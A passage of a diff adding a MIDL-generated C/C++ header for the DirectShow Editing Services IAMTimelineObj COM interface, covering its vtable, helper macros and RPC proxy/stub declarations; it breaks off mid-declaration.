+/* [unique][helpstring][uuid][local][object] */ + + +EXTERN_C const IID IID_IAMTimelineObj; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("78530B77-61F9-11D2-8CAD-00A024580902") + IAMTimelineObj : public IUnknown + { + public: + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetStartStop( + REFERENCE_TIME *pStart, + REFERENCE_TIME *pStop) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetStartStop2( + REFTIME *pStart, + REFTIME *pStop) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE FixTimes( + REFERENCE_TIME *pStart, + REFERENCE_TIME *pStop) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE FixTimes2( + REFTIME *pStart, + REFTIME *pStop) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetStartStop( + REFERENCE_TIME Start, + REFERENCE_TIME Stop) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetStartStop2( + REFTIME Start, + REFTIME Stop) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetPropertySetter( + /* [retval][out] */ IPropertySetter **pVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetPropertySetter( + IPropertySetter *newVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetSubObject( + /* [retval][out] */ IUnknown **pVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetSubObject( + IUnknown *newVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetSubObjectGUID( + GUID newVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetSubObjectGUIDB( + BSTR newVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetSubObjectGUID( + GUID *pVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetSubObjectGUIDB( + /* [retval][out] */ BSTR *pVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetSubObjectLoaded( + BOOL *pVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetTimelineType( + TIMELINE_MAJOR_TYPE *pVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetTimelineType( + TIMELINE_MAJOR_TYPE newVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetUserID( + long *pVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetUserID( + long newVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetGenID( + long *pVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetUserName( + /* [retval][out] */ BSTR *pVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetUserName( + BSTR newVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetUserData( + BYTE *pData, + long *pSize) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetUserData( + BYTE *pData, + long Size) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetMuted( + BOOL *pVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetMuted( + BOOL newVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetLocked( + BOOL *pVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetLocked( + BOOL newVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetDirtyRange( + REFERENCE_TIME *pStart, + REFERENCE_TIME *pStop) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetDirtyRange2( + REFTIME *pStart, + REFTIME *pStop) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetDirtyRange( + REFERENCE_TIME Start, + REFERENCE_TIME Stop) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetDirtyRange2( + REFTIME Start, + REFTIME Stop) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE ClearDirty( void) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE Remove( void) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE RemoveAll( void) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetTimelineNoRef( + IAMTimeline **ppResult) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetGroupIBelongTo( + /* [out] */ IAMTimelineGroup **ppGroup) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetEmbedDepth( + long *pVal) = 0; + + }; + +#else /* C style interface */ + + typedef struct IAMTimelineObjVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IAMTimelineObj * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IAMTimelineObj * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IAMTimelineObj * This); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetStartStop )( + IAMTimelineObj * This, + REFERENCE_TIME *pStart, + REFERENCE_TIME *pStop); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetStartStop2 )( + IAMTimelineObj * This, + REFTIME *pStart, + REFTIME *pStop); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *FixTimes )( + IAMTimelineObj * This, + REFERENCE_TIME *pStart, + REFERENCE_TIME *pStop); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *FixTimes2 )( + IAMTimelineObj * This, + REFTIME *pStart, + REFTIME *pStop); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetStartStop )( + IAMTimelineObj * This, + REFERENCE_TIME Start, + REFERENCE_TIME Stop); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetStartStop2 )( + IAMTimelineObj * This, + REFTIME Start, + REFTIME Stop); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetPropertySetter )( + IAMTimelineObj * This, + /* [retval][out] */ IPropertySetter **pVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetPropertySetter )( + IAMTimelineObj * This, + IPropertySetter *newVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetSubObject )( + IAMTimelineObj * This, + /* [retval][out] */ IUnknown **pVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetSubObject )( + IAMTimelineObj * This, + IUnknown *newVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetSubObjectGUID )( + IAMTimelineObj * This, + GUID newVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetSubObjectGUIDB )( + IAMTimelineObj * This, + BSTR newVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetSubObjectGUID )( + IAMTimelineObj * This, + GUID *pVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetSubObjectGUIDB )( + IAMTimelineObj * This, + /* [retval][out] */ BSTR *pVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetSubObjectLoaded )( + IAMTimelineObj * This, + BOOL *pVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetTimelineType )( + IAMTimelineObj * This, + TIMELINE_MAJOR_TYPE *pVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetTimelineType )( + IAMTimelineObj * This, + TIMELINE_MAJOR_TYPE newVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetUserID )( + IAMTimelineObj * This, + long *pVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetUserID )( + IAMTimelineObj * This, + long newVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetGenID )( + IAMTimelineObj * This, + long *pVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetUserName )( + IAMTimelineObj * This, + /* [retval][out] */ BSTR *pVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetUserName )( + IAMTimelineObj * This, + BSTR newVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetUserData )( + IAMTimelineObj * This, + BYTE *pData, + long *pSize); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetUserData )( + IAMTimelineObj * This, + BYTE *pData, + long Size); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetMuted )( + IAMTimelineObj * This, + BOOL *pVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetMuted )( + IAMTimelineObj * This, + BOOL newVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetLocked )( + IAMTimelineObj * This, + BOOL *pVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetLocked )( + IAMTimelineObj * This, + BOOL newVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetDirtyRange )( + IAMTimelineObj * This, + REFERENCE_TIME *pStart, + REFERENCE_TIME *pStop); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetDirtyRange2 )( + IAMTimelineObj * This, + REFTIME *pStart, + REFTIME *pStop); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetDirtyRange )( + IAMTimelineObj * This, + REFERENCE_TIME Start, + REFERENCE_TIME Stop); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetDirtyRange2 )( + IAMTimelineObj * This, + REFTIME Start, + REFTIME Stop); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *ClearDirty )( + IAMTimelineObj * This); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *Remove )( + IAMTimelineObj * This); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *RemoveAll )( + IAMTimelineObj * This); + + HRESULT ( STDMETHODCALLTYPE *GetTimelineNoRef )( + IAMTimelineObj * This, + IAMTimeline **ppResult); + + HRESULT ( STDMETHODCALLTYPE *GetGroupIBelongTo )( + IAMTimelineObj * This, + /* [out] */ IAMTimelineGroup **ppGroup); + + HRESULT ( STDMETHODCALLTYPE *GetEmbedDepth )( + IAMTimelineObj * This, + long *pVal); + + END_INTERFACE + } IAMTimelineObjVtbl; + + interface IAMTimelineObj + { + CONST_VTBL struct IAMTimelineObjVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IAMTimelineObj_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IAMTimelineObj_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IAMTimelineObj_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IAMTimelineObj_GetStartStop(This,pStart,pStop) \ + (This)->lpVtbl -> GetStartStop(This,pStart,pStop) + +#define IAMTimelineObj_GetStartStop2(This,pStart,pStop) \ + (This)->lpVtbl -> GetStartStop2(This,pStart,pStop) + +#define IAMTimelineObj_FixTimes(This,pStart,pStop) \ + (This)->lpVtbl -> FixTimes(This,pStart,pStop) + +#define IAMTimelineObj_FixTimes2(This,pStart,pStop) \ + (This)->lpVtbl -> FixTimes2(This,pStart,pStop) + +#define IAMTimelineObj_SetStartStop(This,Start,Stop) \ + (This)->lpVtbl -> SetStartStop(This,Start,Stop) + +#define IAMTimelineObj_SetStartStop2(This,Start,Stop) \ + (This)->lpVtbl -> SetStartStop2(This,Start,Stop) + +#define IAMTimelineObj_GetPropertySetter(This,pVal) \ + (This)->lpVtbl -> GetPropertySetter(This,pVal) + +#define IAMTimelineObj_SetPropertySetter(This,newVal) \ + (This)->lpVtbl -> SetPropertySetter(This,newVal) + +#define IAMTimelineObj_GetSubObject(This,pVal) \ + (This)->lpVtbl -> GetSubObject(This,pVal) + +#define IAMTimelineObj_SetSubObject(This,newVal) \ + (This)->lpVtbl -> SetSubObject(This,newVal) + +#define IAMTimelineObj_SetSubObjectGUID(This,newVal) \ + (This)->lpVtbl -> SetSubObjectGUID(This,newVal) + +#define IAMTimelineObj_SetSubObjectGUIDB(This,newVal) \ + (This)->lpVtbl -> SetSubObjectGUIDB(This,newVal) + +#define IAMTimelineObj_GetSubObjectGUID(This,pVal) \ + (This)->lpVtbl -> GetSubObjectGUID(This,pVal) + +#define IAMTimelineObj_GetSubObjectGUIDB(This,pVal) \ + (This)->lpVtbl -> GetSubObjectGUIDB(This,pVal) + +#define IAMTimelineObj_GetSubObjectLoaded(This,pVal) \ + (This)->lpVtbl -> GetSubObjectLoaded(This,pVal) + +#define IAMTimelineObj_GetTimelineType(This,pVal) \ + (This)->lpVtbl -> GetTimelineType(This,pVal) + +#define IAMTimelineObj_SetTimelineType(This,newVal) \ + (This)->lpVtbl -> SetTimelineType(This,newVal) + +#define IAMTimelineObj_GetUserID(This,pVal) \ + (This)->lpVtbl -> GetUserID(This,pVal) + +#define IAMTimelineObj_SetUserID(This,newVal) \ + (This)->lpVtbl -> SetUserID(This,newVal) + +#define IAMTimelineObj_GetGenID(This,pVal) \ + (This)->lpVtbl -> GetGenID(This,pVal) + +#define IAMTimelineObj_GetUserName(This,pVal) \ + (This)->lpVtbl -> GetUserName(This,pVal) + +#define IAMTimelineObj_SetUserName(This,newVal) \ + (This)->lpVtbl -> SetUserName(This,newVal) + +#define IAMTimelineObj_GetUserData(This,pData,pSize) \ + (This)->lpVtbl -> GetUserData(This,pData,pSize) + +#define IAMTimelineObj_SetUserData(This,pData,Size) \ + (This)->lpVtbl -> SetUserData(This,pData,Size) + +#define IAMTimelineObj_GetMuted(This,pVal) \ + (This)->lpVtbl -> GetMuted(This,pVal) + +#define IAMTimelineObj_SetMuted(This,newVal) \ + (This)->lpVtbl -> SetMuted(This,newVal) + +#define IAMTimelineObj_GetLocked(This,pVal) \ + (This)->lpVtbl -> GetLocked(This,pVal) + +#define IAMTimelineObj_SetLocked(This,newVal) \ + (This)->lpVtbl -> SetLocked(This,newVal) + +#define IAMTimelineObj_GetDirtyRange(This,pStart,pStop) \ + (This)->lpVtbl -> GetDirtyRange(This,pStart,pStop) + +#define IAMTimelineObj_GetDirtyRange2(This,pStart,pStop) \ + (This)->lpVtbl -> GetDirtyRange2(This,pStart,pStop) + +#define IAMTimelineObj_SetDirtyRange(This,Start,Stop) \ + (This)->lpVtbl -> SetDirtyRange(This,Start,Stop) + +#define IAMTimelineObj_SetDirtyRange2(This,Start,Stop) \ + (This)->lpVtbl -> SetDirtyRange2(This,Start,Stop) + +#define IAMTimelineObj_ClearDirty(This) \ + (This)->lpVtbl -> ClearDirty(This) + +#define IAMTimelineObj_Remove(This) \ + (This)->lpVtbl -> Remove(This) + +#define IAMTimelineObj_RemoveAll(This) \ + (This)->lpVtbl -> RemoveAll(This) + +#define IAMTimelineObj_GetTimelineNoRef(This,ppResult) \ + (This)->lpVtbl -> GetTimelineNoRef(This,ppResult) + +#define IAMTimelineObj_GetGroupIBelongTo(This,ppGroup) \ + (This)->lpVtbl -> GetGroupIBelongTo(This,ppGroup) + +#define IAMTimelineObj_GetEmbedDepth(This,pVal) \ + (This)->lpVtbl -> GetEmbedDepth(This,pVal) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_GetStartStop_Proxy( + IAMTimelineObj * This, + REFERENCE_TIME *pStart, + REFERENCE_TIME *pStop); + + +void __RPC_STUB IAMTimelineObj_GetStartStop_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_GetStartStop2_Proxy( + IAMTimelineObj * This, + REFTIME *pStart, + REFTIME *pStop); + + +void __RPC_STUB IAMTimelineObj_GetStartStop2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_FixTimes_Proxy( + IAMTimelineObj * This, + REFERENCE_TIME *pStart, + REFERENCE_TIME *pStop); + + +void __RPC_STUB IAMTimelineObj_FixTimes_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_FixTimes2_Proxy( + IAMTimelineObj * This, + REFTIME *pStart, + REFTIME *pStop); + + +void __RPC_STUB IAMTimelineObj_FixTimes2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_SetStartStop_Proxy( + IAMTimelineObj * This, + REFERENCE_TIME Start, + REFERENCE_TIME Stop); + + +void __RPC_STUB IAMTimelineObj_SetStartStop_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_SetStartStop2_Proxy( + IAMTimelineObj * This, + REFTIME Start, + REFTIME Stop); + + +void __RPC_STUB IAMTimelineObj_SetStartStop2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_GetPropertySetter_Proxy( + IAMTimelineObj * This, + /* [retval][out] */ IPropertySetter **pVal); + + +void __RPC_STUB IAMTimelineObj_GetPropertySetter_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_SetPropertySetter_Proxy( + IAMTimelineObj * This, + IPropertySetter *newVal); + + +void __RPC_STUB IAMTimelineObj_SetPropertySetter_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_GetSubObject_Proxy( + IAMTimelineObj * This, + /* [retval][out] */ IUnknown **pVal); + + +void __RPC_STUB IAMTimelineObj_GetSubObject_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_SetSubObject_Proxy( + IAMTimelineObj * This, + IUnknown *newVal); + + +void __RPC_STUB IAMTimelineObj_SetSubObject_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_SetSubObjectGUID_Proxy( + IAMTimelineObj * This, + GUID newVal); + + +void __RPC_STUB IAMTimelineObj_SetSubObjectGUID_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_SetSubObjectGUIDB_Proxy( + IAMTimelineObj * This, + BSTR newVal); + + +void __RPC_STUB IAMTimelineObj_SetSubObjectGUIDB_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_GetSubObjectGUID_Proxy( + IAMTimelineObj * This, + GUID *pVal); + + +void __RPC_STUB IAMTimelineObj_GetSubObjectGUID_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_GetSubObjectGUIDB_Proxy( + IAMTimelineObj * This, + /* [retval][out] */ BSTR *pVal); + + +void __RPC_STUB IAMTimelineObj_GetSubObjectGUIDB_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_GetSubObjectLoaded_Proxy( + IAMTimelineObj * This, + BOOL *pVal); + + +void __RPC_STUB IAMTimelineObj_GetSubObjectLoaded_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_GetTimelineType_Proxy( + IAMTimelineObj * This, + TIMELINE_MAJOR_TYPE *pVal); + + +void __RPC_STUB IAMTimelineObj_GetTimelineType_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_SetTimelineType_Proxy( + IAMTimelineObj * This, + TIMELINE_MAJOR_TYPE newVal); + + +void __RPC_STUB IAMTimelineObj_SetTimelineType_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_GetUserID_Proxy( + IAMTimelineObj * This, + long *pVal); + + +void __RPC_STUB IAMTimelineObj_GetUserID_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_SetUserID_Proxy( + IAMTimelineObj * This, + long newVal); + + +void __RPC_STUB IAMTimelineObj_SetUserID_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_GetGenID_Proxy( + IAMTimelineObj * This, + long *pVal); + + +void __RPC_STUB IAMTimelineObj_GetGenID_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_GetUserName_Proxy( + IAMTimelineObj * This, + /* [retval][out] */ BSTR *pVal); + + +void __RPC_STUB IAMTimelineObj_GetUserName_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_SetUserName_Proxy( + IAMTimelineObj * This, + BSTR newVal); + + +void __RPC_STUB IAMTimelineObj_SetUserName_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_GetUserData_Proxy( + IAMTimelineObj * This, + BYTE *pData, + long *pSize); + + +void __RPC_STUB IAMTimelineObj_GetUserData_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_SetUserData_Proxy( + IAMTimelineObj * This, + BYTE *pData, + long Size); + + +void __RPC_STUB IAMTimelineObj_SetUserData_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_GetMuted_Proxy( + IAMTimelineObj * This, + BOOL *pVal); + + +void __RPC_STUB IAMTimelineObj_GetMuted_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_SetMuted_Proxy( + IAMTimelineObj * This, + BOOL newVal); + + +void __RPC_STUB IAMTimelineObj_SetMuted_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_GetLocked_Proxy( + IAMTimelineObj * This, + BOOL *pVal); + + +void __RPC_STUB IAMTimelineObj_GetLocked_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_SetLocked_Proxy( + IAMTimelineObj * This, + BOOL newVal); + + +void __RPC_STUB IAMTimelineObj_SetLocked_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_GetDirtyRange_Proxy( + IAMTimelineObj * This, + REFERENCE_TIME *pStart, + REFERENCE_TIME *pStop); + + +void __RPC_STUB IAMTimelineObj_GetDirtyRange_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_GetDirtyRange2_Proxy( + IAMTimelineObj * This, + REFTIME *pStart, + REFTIME *pStop); + + +void __RPC_STUB IAMTimelineObj_GetDirtyRange2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_SetDirtyRange_Proxy( + IAMTimelineObj * This, + REFERENCE_TIME Start, + REFERENCE_TIME Stop); + + +void __RPC_STUB IAMTimelineObj_SetDirtyRange_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_SetDirtyRange2_Proxy( + IAMTimelineObj * This, + REFTIME Start, + REFTIME Stop); + + +void __RPC_STUB IAMTimelineObj_SetDirtyRange2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_ClearDirty_Proxy( + IAMTimelineObj * This); + + +void __RPC_STUB IAMTimelineObj_ClearDirty_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_Remove_Proxy( + IAMTimelineObj * This); + + +void __RPC_STUB IAMTimelineObj_Remove_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineObj_RemoveAll_Proxy( + IAMTimelineObj * This); + + +void __RPC_STUB IAMTimelineObj_RemoveAll_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimelineObj_GetTimelineNoRef_Proxy( + IAMTimelineObj * This, + IAMTimeline **ppResult); + + +void __RPC_STUB IAMTimelineObj_GetTimelineNoRef_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimelineObj_GetGroupIBelongTo_Proxy( + IAMTimelineObj * This, + /* [out] */ IAMTimelineGroup **ppGroup); + + +void __RPC_STUB IAMTimelineObj_GetGroupIBelongTo_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimelineObj_GetEmbedDepth_Proxy( + IAMTimelineObj * This, + long 